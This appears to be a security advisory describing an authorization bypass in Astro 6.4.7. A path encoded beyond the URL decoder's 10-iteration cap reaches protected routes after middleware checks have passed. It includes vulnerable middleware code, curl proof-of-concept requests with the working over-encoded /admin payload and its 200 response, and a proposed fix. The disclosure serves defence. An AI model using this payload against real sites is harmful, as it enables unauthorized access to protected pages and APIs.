| Package | Affected versions | Patched versions |
|---|---|---|
| astro | ≥ 6.4.7, < 6.4.8 | 6.4.8 |
Astro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth.
The issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional decodeURI() operation and resolves the request to a protected route.
As a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns.
Potential CWE: CWE-647 – Use of Non-Canonical URL Paths for Authorization Decisions
Middleware authorization sees:
/%61dmin
Later rewrite route matching sees:
/admin
This discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route.
PR #16967 introduced iterative URI decoding:
let iterations = 0;
while (decoded !== pathname && iterations < 10) {
pathname = decoded;
try {
decoded = decodeURI(pathname);
} catch {
// decodeURI can fail when a decoded literal '%' forms an
// invalid sequence with adjacent characters.
break;
}
iterations++;
}
return decoded;
The intent was to ensure middleware receives a fully decoded canonical pathname.
However, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request.
Later, Astro performs another decode during route matching:
const decodedPathname = decodeURI(pathname);
Consequently:
Middleware pathname: /%61dmin
Route matcher: /admin
This creates a canonicalization mismatch between authorization logic and routing logic.
import { defineMiddleware } from 'astro:middleware';
export const onRequest = defineMiddleware(async (context, next) => {
const pathname = context.url.pathname;
if (pathname === '/admin' || pathname.startsWith('/admin/')) {
return new Response(
'403 Forbidden: middleware blocked canonical /admin',
{
status: 403,
headers: {
'content-type': 'text/plain;charset=UTF-8',
'x-middleware-pathname': pathname,
},
}
);
}
if (pathname !== '/') {
const response = await next(context.url);
response.headers.set('x-middleware-pathname', pathname);
response.headers.set(
'x-vuln-pattern',
'next(context.url) rewrite after pathname check'
);
return response;
}
return next();
});
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Scan my site freeThe critical pattern is:
return next(context.url);
The middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery.
curl -i http://127.0.0.1:8989/admin
Response:
HTTP/1.1 403 Forbidden
x-middleware-pathname: /admin
403 Forbidden: middleware blocked canonical /admin
curl -i http://127.0.0.1:8989/%252525252525252525252561dmin
Response:
HTTP/1.1 200 OK
x-middleware-pathname: /%61dmin
x-vuln-pattern: next(context.url) rewrite after pathname check
Admin page reached
Protected content rendered after rewrite route matching.
request url: http://127.0.0.1:8989/%61dmin
This demonstrates:
Middleware saw: /%61dmin
Router reached: /admin
The bypass occurs at encoding depth 11.
depth 0: /%61dmin -> /admin
depth 1: /%2561dmin -> /admin
depth 2: /%252561dmin -> /admin
depth 3: /%25252561dmin -> /admin
depth 4: /%2525252561dmin -> /admin
depth 5: /%252525252561dmin -> /admin
depth 6: /%25252525252561dmin -> /admin
depth 7: /%2525252525252561dmin -> /admin
depth 8: /%252525252525252561dmin -> /admin
depth 9: /%25252525252525252561dmin -> /admin
depth 10: /%2525252525252525252561dmin -> /admin
depth 11: /%252525252525252525252561dmin -> /%61dmin
Depths 0–10 are fully decoded and blocked by middleware.
Depth 11 is the first depth where Astro returns a partially decoded pathname due to the iteration limit.
A later decodeURI() converts:
/%61dmin
into:
/admin
allowing route matching to reach the protected endpoint.
Exploitation requires:
Middleware performs authorization using:
context.url.pathname
For example:
if (context.url.pathname === '/admin') {
block();
}
The request is subsequently passed into Astro routing via:
next(context.url)
or equivalent rewrite behavior that performs route matching after middleware execution.
An unauthenticated attacker may bypass middleware protections guarding routes such as:
/admin
/api/admin
/internal
/dashboard
if the application:
Affected applications may expose protected pages or APIs despite middleware restrictions.
The issue belongs to the same vulnerability class as the previously disclosed Astro middleware encoding bypass.
Previous advisories demonstrated bypasses using:
/%2561dmin
to reach:
/admin
The 6.4.7 fix attempted to ensure middleware receives a canonical pathname by repeatedly decoding URL-encoded paths.
However, because decoding is capped at 10 iterations and partially decoded paths are returned, an attacker can simply increase encoding depth beyond the cap and recreate the authorization-routing mismatch.
The existence of a decoding limit is not itself problematic.
The vulnerability arises because Astro:
Authorization and routing therefore operate on different pathname representations.
Do not return partially decoded pathnames when the iteration limit is exceeded.
Instead, reject the request whenever decoding has not stabilized before reaching the cap.
let iterations = 0;
while (decoded !== pathname) {
if (iterations >= 10) {
throw new Error('URL encoding depth exceeded');
}
pathname = decoded;
try {
decoded = decodeURI(pathname);
} catch {
break;
}
iterations++;
}
return decoded;
Astro should centralize pathname canonicalization and ensure routing logic never performs an additional independent decodeURI() on values that have already been normalized.
Authorization and route matching must operate on the exact same canonical pathname representation.
Astro 6.4.7 appears vulnerable to an authorization bypass caused by a pathname canonicalization mismatch introduced by the iterative decoding limit.
When URL encoding depth exceeds the decoder's maximum iteration count, middleware receives a partially decoded pathname while later route matching performs additional decoding and resolves the request to a protected route.
This can allow unauthorized access to routes protected by pathname-based middleware authorization and should be addressed by rejecting over-encoded paths or ensuring a single canonical pathname representation is used throughout request processing.